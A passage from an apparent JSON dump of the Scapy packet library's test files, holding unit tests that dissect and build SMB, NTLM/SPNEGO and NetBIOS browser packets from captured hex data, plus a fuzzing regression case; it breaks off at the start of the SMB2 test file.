    "content": "############\n############\n+ SMB basic tests\n\n= Import\n\nfrom scapy.layers.smb import *\n\n= test SMB Generic Header - dissect\n\nfrom scapy.layers.smb import _SMBGeneric\n\n# OK test\nrawpkt = b'\\x45\\x00\\x00\\x5b\\x69\\x10\\x40\\x00\\x73\\x06\\xca\\x85\\x7a\\xa0\\x9a\\xb6\\xc0\\xa8\\xfe\\x07\\xeb\\xec\\x01\\xbd\\xaf\\x97\\x2e\\xb7\\x78\\x60\\x84\\x6c\\x50\\x18\\x40\\x29\\xd5\\x36\\x00\\x00\\x00\\x00\\x00\\x2f\\xff\\x53\\x4d\\x42\\x72\\x00\\x00\\x00\\x00\\x18\\x01\\x48\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x20\\x18\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02\\x4e\\x54\\x20\\x4c\\x4d\\x20\\x30\\x2e\\x31\\x32\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 47\nassert SMBNegotiate_Request in pkt\nsmb = pkt[SMB_Header]\n# Check header values\nprint(smb.show())\nassert smb.Start == b'\\xffSMB'\nassert smb.Command == 0x72      # SMB_COM_NEGOCIATE\n\n# KO test\nrawpkt = b'\\x45\\x00\\x00\\x5b\\x69\\x10\\x40\\x00\\x73\\x06\\xca\\x85\\x7a\\xa0\\x9a\\xb6\\xc0\\xa8\\xfe\\x07\\xeb\\xec\\x01\\xbd\\xaf\\x97\\x2e\\xb7\\x78\\x60\\x84\\x6c\\x50\\x18\\x40\\x29\\xd5\\x36\\x00\\x00\\x00\\x00\\x00\\x2f\\xf0\\x53\\x4d\\x42\\x72\\x00\\x00\\x00\\x00\\x18\\x01\\x48\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x20\\x18\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02\\x4e\\x54\\x20\\x4c\\x4d\\x20\\x30\\x2e\\x31\\x32\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 47\nassert _SMBGeneric in pkt\n# Should not have a proper SMBNegotiate header as magic is \\xf0SMB, not \\xffSMB\nassert SMB_Header not in pkt\n\n\n= test SMB Negotiate Header - assemble\n\npkt = IP() / TCP() / NBTSession() / SMB_Header() / SMBNegotiate_Request()\npkt = IP(raw(pkt))\nassert pkt[NBTSession].TYPE == 0x00         # session message\nsmb = pkt[SMB_Header]\nassert smb.Start == b'\\xffSMB'\n\n+ SMB NTLM exchange\n\n= SMB Negotiate Request\n\nsmb_nego_req = Ether(b'\\x00PV\\xc0\\x00\\x01\\x00\\x0c)a\\xf5_\\x08\\x00E\\x00\\x00\\xb1Qe\\x00\\x00\\x80\\x06\\xd9\\t\\xc0\\xa8\\xc7\\x85\\xc0\\xa8\\xc7\\x01\\xc2\\x08\\x00\\x8b\\xd7\\xcb\\xeeR\\x10]{\\xadP\\x18\\x01\\x00\\xd1w\\x00\\x00\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18C\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00')\nassert SMBNegotiate_Request in smb_nego_req\nassert smb_nego_req.Flags2.EXTENDED_SECURITY\nassert smb_nego_req.Flags2.UNICODE\nassert len(smb_nego_req[SMBNegotiate_Request].Dialects) == 6\nassert smb_nego_req[SMBNegotiate_Request].Dialects[0].DialectString == b'PC NETWORK PROGRAM 1.0'\nassert smb_nego_req[SMBNegotiate_Request].Dialects[5].DialectString == b'NT LM 0.12'\n\n= SMB Negotiate Response Extended Security\n\nsmb_nego_resp = Ether(b'\\x00\\x0c)a\\xf5_\\x00PV\\xc0\\x00\\x01\\x08\\x00E\\x00\\x01\\xc1\\x03H@\\x00\\x80\\x06\\xe6\\x16\\xc0\\xa8\\xc7\\x01\\xc0\\xa8\\xc7\\x85\\x00\\x8b\\xc2\\x08\\x10]{\\xad\\xd7\\xcb\\xee\\xdbP\\x18\\x01\\x0047\\x00\\x00\\x00\\x00\\x01\\x95\\xffSMBr\\x00\\x00\\x00\\x00\\x98C\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x11\\x05\\x00\\x03\\n\\x00\\x01\\x00\\x04\\x11\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xfc\\xe3\\x01\\x80\\x1dc6\\x9b\\x84\\'\\xd2\\x01\\x88\\xff\\x00P\\x01,\\xd0=?\\xb2\\x00\\xe1O\\xbd\\xd4\\xc8\\xb7\\x0c\\'Vf`\\x82\\x01<\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0\\x82\\x0100\\x82\\x01,\\xa0\\x1a0\\x18\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\x1e\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa2\\x82\\x01\\x0c\\x04\\x82\\x01\\x08NEGOEXTS\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00p\\x00\\x00\\x001<*:\\xc7+<\\xa9m\\xac8t\\xa7\\xdd\\x1d[\\xf4Rk\\x17\\x03\\x8aK\\x91\\xc2\\t}\\x9a\\x8f\\xe6,\\x96\\\\Q$/\\x90MG\\xc7\\xad\\x8f\\x87k\"\\x02\\xbf\\xc6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\3S\\r\\xea\\xf9\\rM\\xb2\\xecJ\\xe3xn\\xc3\\x08NEGOEXTS\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00@\\x00\\x00\\x00\\x98\\x00\\x00\\x001<*:\\xc7+<\\xa9m\\xac8t\\xa7\\xdd\\x1d[\\\\3S\\r\\xea\\xf9\\rM\\xb2\\xecJ\\xe3xn\\xc3\\x08@\\x00\\x00\\x00X\\x00\\x00\\x000V\\xa0T0R0\\'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key0\\'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key')\nassert SMBNegotiate_Response_Extended_Security in smb_nego_resp\nassert smb_nego_resp[SMBNegotiate_Response_Extended_Security].ServerTime == 131210789640364829\nassert isinstance(smb_nego_resp.SecurityBlob, GSSAPI_BLOB)\nassert smb_nego_resp.SecurityBlob.MechType.oidname == 'SPNEGO - Simple Protected Negotiation'\nassert smb_nego_resp.SecurityBlob.innerToken.token.mechTypes[0].oid.oidname == 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'\nassert smb_nego_resp.ServerCapabilities.EXTENDED_SECURITY\nassert smb_nego_resp.Flags2.EXTENDED_SECURITY\n\nfrom uuid import UUID\n\nnegoex_nego = smb_nego_resp.SecurityBlob.innerToken.token.mechToken.value\nassert negoex_nego.MessageType == 1\nassert negoex_nego.SequenceNum == 0\nassert len(negoex_nego.Payload) == 1\nassert negoex_nego.sprintf(\"%Payload%\") == '[(\\'AuthScheme\\', \"[UUID(\\'[NTLM-UUID]\\')]\")]'\nassert negoex_nego.ConversationId == UUID('313c2a3a-c72b-3ca9-6dac-3874a7dd1d5b')\n\nnegoex_exch = negoex_nego.payload\nassert negoex_exch.MessageType == 3\nassert negoex_exch.SequenceNum == 1\nassert negoex_exch.sprintf(\"%AuthScheme%\") == \"UUID('[NTLM-UUID]')\"\nassert negoex_exch.ExchangeLen == len(negoex_exch.Payload[0][1])\nassert negoex_exch.Payload[0][0] == \"Exchange\"\nassert bytes(negoex_exch.Payload[0][1]) == b\"0V\\xa0T0R0'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key0'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key\"\nassert negoex_exch.Payload[0][1].items[0].token == b\"Token Signing Public Key\"\nassert negoex_exch.Payload[0][1].items[0].oid == \"2.5.4.3\"\n\n= SMB Setup AndX Request (ES)\n\nfrom scapy.layers.ntlm import *\n\nsmb_sax_req_1 = Ether(b'\\x00PV\\xc0\\x00\\x01\\x00\\x0c)a\\xf5_\\x08\\x00E\\x00\\x00\\xb6Qf\\x00\\x00\\x80\\x06\\xd9\\x03\\xc0\\xa8\\xc7\\x85\\xc0\\xa8\\xc7\\x01\\xc2\\x08\\x00\\x8b\\xd7\\xcb\\xee\\xdb\\x10]}FP\\x18\\x00\\xffw\\x7f\\x00\\x00\\x00\\x00\\x00\\x8a\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xfe\\x00\\x00\\x10\\x00\\x0c\\xff\\x00\\x00\\x00\\x04\\x11\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0O\\x00`H\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0>0<\\xa0\\x0e0\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa2*\\x04(NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x97\\x82\\x08\\xe2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00Z)\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00')\nassert SMBSession_Setup_AndX_Request_Extended_Security in smb_sax_req_1\nassert smb_sax_req_1.Flags2.EXTENDED_SECURITY\nassert smb_sax_req_1.Flags2.UNICODE\nassert isinstance(smb_sax_req_1.SecurityBlob.innerToken.token.mechToken.value, NTLM_NEGOTIATE)\nntlm_nego = smb_sax_req_1.SecurityBlob.innerToken.token.mechToken.value\nassert ntlm_nego.ProductBuild == 10586\n\n= SMB Setup AndX Response (ES)\n\nfrom scapy.layers.ntlm import *\n\nsmb_sax_resp_1 = Ether(b\"\\x00\\x0c)a\\xf5_\\x00PV\\xc0\\x00\\x01\\x08\\x00E\\x00\\x01,\\x03I@\\x00\\x80\\x06\\xe6\\xaa\\xc0\\xa8\\xc7\\x01\\xc0\\xa8\\xc7\\x85\\x00\\x8b\\xc2\\x08\\x10]}F\\xd7\\xcb\\xefiP\\x18\\x00\\xff\\xeb)\\x00\\x00\\x00\\x00\\x01\\x00\\xffSMBs\\x16\\x00\\x00\\xc0\\x98\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xfe\\x00\\x08\\x10\\x00\\x04\\xff\\x00\\x00\\x01\\x00\\x00\\x93\\x00\\xd5\\x00\\xa1\\x81\\x900\\x81\\x8d\\xa0\\x03\\n\\x01\\x01\\xa1\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa2x\\x04vNTLMSSP\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x06\\x008\\x00\\x00\\x00\\x15\\x82\\x8a\\xe2\\x88\\xbc\\x9bX4\\xbe7\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x008\\x008\\x00>\\x00\\x00\\x00\\x06\\x03\\x80%\\x00\\x00\\x00\\x0fS\\x00C\\x00V\\x00\\x02\\x00\\x06\\x00S\\x00C\\x00V\\x00\\x01\\x00\\x06\\x00S\\x00C\\x00V\\x00\\x04\\x00\\x06\\x00S\\x00C\\x00V\\x00\\x03\\x00\\x06\\x00S\\x00C\\x00V\\x00\\x07\\x00\\x08\\x00\\xd5\\x9d6\\x9b\\x84'\\xd2\\x01\\x00\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x008\\x00.\\x001\\x00 \\x009\\x006\\x000\\x000\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x008\\x00.\\x001\\x00 \\x006\\x00.\\x003\\x00\\x00\\x00\")\nassert SMBSession_Setup_AndX_Response_Extended_Security in smb_sax_resp_1\nassert smb_sax_resp_1.AndXCommand == 255\nassert smb_sax_resp_1.SecurityBlob.token.negState == 1\nassert isinstance(smb_sax_resp_1.SecurityBlob.token.responseToken.value, NTLM_CHALLENGE)\nntlm_challenge = smb_sax_resp_1.SecurityBlob.token.responseToken.value\nassert len(ntlm_challenge.Payload) == 2\nassert ntlm_challenge.Payload[0] == ('TargetName', 'SCV')\nassert ntlm_challenge.Payload[1][0] == 'TargetInfo'\nassert len(ntlm_challenge.Payload[1][1]) == 6\nassert ntlm_challenge.Payload[1][1][0].sprintf(\"%AvId%\") == 'MsvAvNbDomainName'\nassert ntlm_challenge.Payload[1][1][1].sprintf(\"%AvId%\") == 'MsvAvNbComputerName'\nassert ntlm_challenge.Payload[1][1][2].sprintf(\"%AvId%\") == 'MsvAvDnsDomainName'\nassert ntlm_challenge.Payload[1][1][3].sprintf(\"%AvId%\") == 'MsvAvDnsComputerName'\nassert ntlm_challenge.Payload[1][1][4].sprintf(\"%AvId%\") == 'MsvAvTimestamp'\nassert ntlm_challenge.Payload[1][1][5].sprintf(\"%AvId%\") == 'MsvAvEOL'\nfor i in range(4):\n    assert ntlm_challenge.Payload[1][1][i].Value == \"SCV\"\n\n= SMB Setup AndX Request - accept incomplete (ES)\n\nfrom scapy.layers.ntlm import *\n\nsmb_sax_req_2 = Ether(b'\\x00PV\\xc0\\x00\\x01\\x00\\x0c)a\\xf5_\\x08\\x00E\\x00\\x01\\x18Qg\\x00\\x00\\x80\\x06\\xd8\\xa0\\xc0\\xa8\\xc7\\x85\\xc0\\xa8\\xc7\\x01\\xc2\\x08\\x00\\x8b\\xd7\\xcb\\xefi\\x10]~JP\\x18\\x00\\xfey\\xc4\\x00\\x00\\x00\\x00\\x00\\xec\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xfe\\x00\\x08 \\x00\\x0c\\xff\\x00\\x00\\x00\\x04\\x11\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xac\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0\\xb1\\x00\\xa1\\x81\\xa90\\x81\\xa6\\xa0\\x03\\n\\x01\\x01\\xa2\\x81\\x8a\\x04\\x81\\x87NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x01\\x00v\\x00\\x00\\x00\\x00\\x00\\x00\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x00X\\x00\\x00\\x00\\x00\\x00\\x00\\x00X\\x00\\x00\\x00\\x1e\\x00\\x1e\\x00X\\x00\\x00\\x00\\x10\\x00\\x10\\x00w\\x00\\x00\\x00\\x15\\x8a\\x88\\xe2\\n\\x00Z)\\x00\\x00\\x00\\x0fN,A\\xe36\\xa1M\\x9dq\\xc5\\x12\\x92\\xa4\\xc8\\xc9\\xf2D\\x00E\\x00S\\x00K\\x00T\\x00O\\x00P\\x00-\\x00V\\x001\\x00F\\x00A\\x000\\x00U\\x00Q\\x00\\x00/\\t\\x13+\\x81\\xa6\\x15\\x14\\xb9\\x11\\x8b\\xe0\\x00\\x88\\xd7\\x1f\\xa3\\x12\\x04\\x10\\x01\\x00\\x00\\x00\\xb5\\xef\\x9d\\xa6\\x9dm\\x12h\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert SMBSession_Setup_AndX_Request_Extended_Security in smb_sax_req_2\nassert smb_sax_req_2.Flags2.EXTENDED_SECURITY\nassert smb_sax_req_2.Flags2.UNICODE\nassert smb_sax_req_2.AndXCommand == 255\nassert smb_sax_req_2.SecurityBlob.token.negState == 1\nntlm_authenticate = smb_sax_req_2.SecurityBlob.token.responseToken.value\nassert isinstance(ntlm_authenticate, NTLM_AUTHENTICATE)\nassert len(ntlm_authenticate.Payload) == 3\nassert ntlm_authenticate.Payload[0] == ('Workstation', 'DESKTOP-V1FA0UQ')\nassert ntlm_authenticate.Payload[1][0] == 'LmChallengeResponse'\nassert isinstance(ntlm_authenticate.Payload[1][1], LMv2_RESPONSE)\nassert ntlm_authenticate.Payload[2][0] == 'EncryptedRandomSessionKey'\nassert ntlm_authenticate.Payload[2][1] == b'/\\t\\x13+\\x81\\xa6\\x15\\x14\\xb9\\x11\\x8b\\xe0\\x00\\x88\\xd7\\x1f'\n\n= SMB Setup AndX Response - accept complete (ES)\n\nsmb_sax_resp_2 = Ether(b'\\x00\\x0c)a\\xf5_\\x00PV\\xc0\\x00\\x01\\x08\\x00E\\x00\\x00\\xb6\\x03J@\\x00\\x80\\x06\\xe7\\x1f\\xc0\\xa8\\xc7\\x01\\xc0\\xa8\\xc7\\x85\\x00\\x8b\\xc2\\x08\\x10]~J\\xd7\\xcb\\xf0YP\\x18\\x00\\xfeB\\x10\\x00\\x00\\x00\\x00\\x00\\x8a\\xffSMBs\\x00\\x00\\x00\\x00\\x98\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xfe\\x00\\x08 \\x00\\x04\\xff\\x00\\x8a\\x00\\x00\\x00\\x1d\\x00_\\x00\\xa1\\x1b0\\x19\\xa0\\x03\\n\\x01\\x00\\xa3\\x12\\x04\\x10\\x01\\x00\\x00\\x00\\xee\\t\\x91S\\xab\\x7f]\\xe6\\x00\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x008\\x00.\\x001\\x00 \\x009\\x006\\x000\\x000\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x008\\x00.\\x001\\x00 \\x006\\x00.\\x003\\x00\\x00\\x00')\nassert SMBSession_Setup_AndX_Response_Extended_Security in smb_sax_resp_2\nassert smb_sax_resp_2.SecurityBlob.token.negState == 0\nassert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.Version == 1\nassert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.Checksum == b'\\xee\\t\\x91S\\xab\\x7f]\\xe6'\nassert smb_sax_resp_2.SecurityBlob.token.mechListMIC.value.SeqNum == 0\nassert smb_sax_resp_2.NativeOS == 'Windows 8.1 9600'\nassert smb_sax_resp_2.NativeLanMan == 'Windows 8.1 6.3'\n\n\n+ Test BRWS\n\n= BRWS BecomeBackup - build\n\npkt = \\\n    IP(id=3109, ttl=128, src='192.168.1.2', dst='192.168.1.255') / \\\n    UDP(sport=138, dport=138) / \\\n    NBTDatagram(Type=17, Flags=2, ID=37087, SourceIP='192.168.1.2',\n                SourcePort=138, SourceName=b'VIKRANT-LAPTOP ',\n                SUFFIX1=16705, DestinationName=b'WORKGROUP',\n                SUFFIX2=16975) / \\\n    SMB_Header(Flags=0) / \\\n    SMBMailslot_Write(Data=BRWS_BecomeBackup(OpCode=11, BrowserToPromote='LENOVO-NETBOOK'),\n                      Timeout=1000, Name='\\\\MAILSLOT\\\\BROWSE')\n\n\nassert bytes(pkt) == b'E\\x00\\x00\\xd4\\x0c%\\x00\\x00\\x80\\x11\\xa9\\xa2\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\xff\\x00\\x8a\\x00\\x8a\\x00\\xc0\\xca)\\x11\\x02\\x90\\xdf\\xc0\\xa8\\x01\\x02\\x00\\x8a\\x00\\xaa\\x00\\x00 FGEJELFCEBEOFECNEMEBFAFEEPFACAAA\\x00 FHEPFCELEHFCEPFFFACACACACACACABO\\x00\\xffSMB%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00V\\x00\\x03\\x00\\x01\\x00\\x01\\x00\\x02\\x00!\\x00\\\\MAILSLOT\\\\BROWSE\\x00\\x0bLENOVO-NETBOOK\\x00'\n\n= BRWS BecomeBackup - dissection\n\npkt = IP(b'E\\x00\\x00\\xd4\\x0c%\\x00\\x00\\x80\\x11\\xa9\\xa2\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\xff\\x00\\x8a\\x00\\x8a\\x00\\xc0\\xca)\\x11\\x02\\x90\\xdf\\xc0\\xa8\\x01\\x02\\x00\\x8a\\x00\\xaa\\x00\\x00 FGEJELFCEBEOFECNEMEBFAFEEPFACAAA\\x00 FHEPFCELEHFCEPFFFACACACACACACABO\\x00\\xffSMB%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00V\\x00\\x03\\x00\\x01\\x00\\x01\\x00\\x02\\x00!\\x00\\\\MAILSLOT\\\\BROWSE\\x00\\x0bLENOVO-NETBOOK\\x00')\n\nassert SMBMailslot_Write in pkt\nassert pkt[SMBMailslot_Write].Timeout == 1000\nassert pkt[SMBMailslot_Write].Name == b\"\\\\MAILSLOT\\\\BROWSE\"\nassert pkt[SMBMailslot_Write].Data.BrowserToPromote == b'LENOVO-NETBOOK'\n\n= BRWS HostAnnouncement - build\n\npkt = \\\n    IP(id=51657, tos=0x20, src='192.168.1.8', dst='192.168.1.255') / \\\n    UDP(sport=138, dport=138) / \\\n    NBTDatagram(Type=17, Flags=2, ID=18755, SourceIP='192.168.1.8',\n                SourcePort=0, SourceName='MACBOOKPRO-199C',\n                SUFFIX1=16705, DestinationName='WORKGROUP',\n                SUFFIX2=16974) / \\\n    SMB_Header(Flags=0, PIDLow=176, MID=18754) / \\\n    SMBMailslot_Write(Data=BRWS_HostAnnouncement(ServerName=\"MACBOOKPRO-122A\", Comment=\"Super's MacBook Pro\"),\n                      Timeout=0, Flags=2, Name='\\\\MAILSLOT\\\\BROWSE')\n\n\nassert bytes(pkt) == b\"E \\x00\\xf8\\xc9\\xc9\\x00\\x00@\\x11+\\xb4\\xc0\\xa8\\x01\\x08\\xc0\\xa8\\x01\\xff\\x00\\x8a\\x00\\x8a\\x00\\xe4\\xb3\\xb0\\x11\\x02IC\\xc0\\xa8\\x01\\x08\\x00\\x00\\x00\\xce\\x00\\x00 ENEBEDECEPEPELFAFCEPCNDBDJDJEDAA\\x00 FHEPFCELEHFCEPFFFACACACACACACABN\\x00\\xffSMB%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\x00\\x00BI\\x11\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x00V\\x00\\x03\\x00\\x01\\x00\\x01\\x00\\x02\\x00E\\x00\\\\MAILSLOT\\\\BROWSE\\x00\\x01\\x00\\x00\\xf4\\x01\\x00MACBOOKPRO-122A\\x00\\x06\\x01\\x03\\x12\\x00\\x00\\x15\\x01U\\xaaSuper's MacBook Pro\\x00\"\n\n= BRWS HostAnnouncement - dissection\n\npkt = IP(b\"E \\x00\\xf8\\xc9\\xc9\\x00\\x00@\\x11+\\xb4\\xc0\\xa8\\x01\\x08\\xc0\\xa8\\x01\\xff\\x00\\x8a\\x00\\x8a\\x00\\xe4\\xb3\\xb0\\x11\\x02IC\\xc0\\xa8\\x01\\x08\\x00\\x00\\x00\\xce\\x00\\x00 ENEBEDECEPEPELFAFCEPCNDBDJDJEDAA\\x00 FHEPFCELEHFCEPFFFACACACACACACABN\\x00\\xffSMB%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\x00\\x00BI\\x11\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x00V\\x00\\x03\\x00\\x01\\x00\\x01\\x00\\x02\\x00E\\x00\\\\MAILSLOT\\\\BROWSE\\x00\\x01\\x00\\x00\\xf4\\x01\\x00MACBOOKPRO-122A\\x00\\x06\\x01\\x03\\x12\\x00\\x00\\x15\\x01U\\xaaSuper's MacBook Pro\\x00\")\n\nassert SMBMailslot_Write in pkt\nassert pkt[SMBMailslot_Write].Name == b\"\\\\MAILSLOT\\\\BROWSE\"\nassert pkt[SMBMailslot_Write].Data.OpCode == 1\nassert pkt[SMBMailslot_Write].Data.ServerName == b\"MACBOOKPRO-122A\\x00\"\nassert pkt[SMBMailslot_Write].Data.Comment == b\"Super's MacBook Pro\"\nassert pkt[SMBMailslot_Write].Data.Signature == 0xAA55\n\n= OSS-Fuzz Findings\n\n# SMBTransaction_Request\nfrom io import BytesIO\n# Issue 69637\nfile = BytesIO(b'M<\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x02\\xff\\xa1\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x01\\x00\\x00\\x00\\r\\x82\\xe8Y[\\xc6P\"\\xa1\\xb2\\x00_h\\x00\\x00\\x00\\x00\\x10\\x94\\x00\\x01\\x00\\x00\\x1d%\\xcb(\\xce\\x08\\x00U\\xfa\\xf7\\x8c\\x00\\x00@\\x00?\\x11\\xa7R\\xe0\\xa8\\x01\\xa1d\\xb2\\xc3\\xd4\\n_\\x00\\x8a \\x00\\x00\\x01\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\x00\\x10\\x94\\x00\\x01\\x00\\x00\\x1d%\\xcb(\\xce\\x08\\x00U\\xfa\\xf7\\x8c\\x00\\x00@\\x00?\\x11\\xa7R\\xe0\\xa8\\x01\\xa1d\\xb2\\xc3\\xd4\\n_\\x00\\x8a\\xb2\\x00\\xa1a\\xffl\\xff\\xff\\xef\\x00\\xff\\x01\\x00\\x08\\xa1\\xa1E\\xf9\\x00\\xa1\\x00\\x00?\\x8c\\x08?\\x11\\x00\\xc3\\x00+\\x10M<\\x1a\\x01\\x00\\xffSMB%d\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\xf7\\x8c\\x00\\x00@\\x00?\\x11\\xa7R\\xe0\\xa8\\x01\\xa1d\\xb2\\xc3\\xd4\\n_\\x00\\x8a\\xb2\\x00\\xa1a\\xffl\\xff\\xff\\xef\\x00\\xff\\x01\\x00\\x08\\xa1\\xa1')\n\nl = rdpcap(file)\nassert l[0][NBTDatagram].summary() == \"NBTDatagram / SMB_Header / Tran b''\"\n"
  },
  {
    "path": "test/scapy/layers/smb2.uts",
    "content": "+ SMB2 Header\n\n= SMB2 Header dissecting\n\n# OK test\nrawpkt = b'\\x45\\x00\\x01\\x18\\x16\\x2c\\x40\\x00\\x37\\x06\\xc4\\x14\\x91\\xdc\\x18\\x13\\xc0\\xa8\\xfe\\x07\\x9d\\x76\\x01\\xbd\\x37\\x06\\x5e\\x82\\xa3\\xca\\x83\\xd2\\x50\\x18\\x01\\xf6\\x11\\x5b\\x00\\x00\\x00\\x00\\x00\\xec\\xfe\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x24\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x59\\x9e\\x84\\xf1\\x9d\\x61\\xce\\x99\\x1f\\x50\\x5c\\x04\\x44\\x74\\xb1\\x0a\\x70\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\